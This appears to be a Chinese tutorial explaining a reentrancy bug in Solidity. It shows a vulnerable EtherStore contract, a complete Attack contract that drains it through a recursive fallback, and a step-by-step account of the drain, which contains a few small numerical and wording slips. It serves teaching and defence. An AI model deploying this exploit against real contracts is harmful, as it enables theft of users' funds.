重入漏洞EtherStore

重入漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个被攻击的EtherStore合约，可以用来deposit和withdraw以太币。withdraw函数的基本逻辑是：

• 判断sender的余额是否大于0，是的话下一步；
• 使用call方法给sender发送合约里属于sender所有的余额，成功发送的话下一步；
• 将合约中属于sender的余额值清零。

在攻击合约Attack合约中，先看attack函数，基本逻辑就是先调用deposit存入1个以太，再调用withdraw取出。然而关键的代码在fallback函数中，这个fallback函数会先检测被攻击合约EtherStore的余额，如果大于1个以太，就执行withdraw。

知道这些概念后，就可以演示攻击过程了：

• 1.假设EtherStore合约中有10个ETH的余额；
• 2.攻击者点击attack函数，先执行deposit于是攻击者就存入了1个ETH，接下来执行withdraw，withdraw函数前两行成功通过，开始使用call函数发送属于sender（这里是Attack合约）的余额；
• 3.Attack合约收到余额后，根据我们上图所示，先看msg.data是否为空？是；receive是否存在？否；于是进入fallback函数；
• 4.fallback函数中，先检测EtherStore的余额，这里应当是10 - 1 = 9 Ether，通过，于是又执行withdraw；
• 5.withdraw函数先检测前两行，（注意，这是攻击过程的关键点！）属于sender的余额为不为0呢？答案是不为0，仍然能通过，因为上次执行withdraw函数，其实还停留在call发送Ether的那一步，下一步还没有执行，EtherStore中的balance值还没有更新，因此这里还是能通过，继续执行到下一个call发送余额，这样又把合约余额发送过去了；
• 6.Attack合约的fallback函数又开始重复withdraw，一直等到EtherStore合约中的余额为0，Attack合约的fallback函数不能通过余额检测的时候，整个提取过程才会停止。
• 7.执行完成，被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子，Attack合约其实用receive函数也是可以的，而且合约里是可以有单独的receive函数，但是单独的fallback函数就会报warning。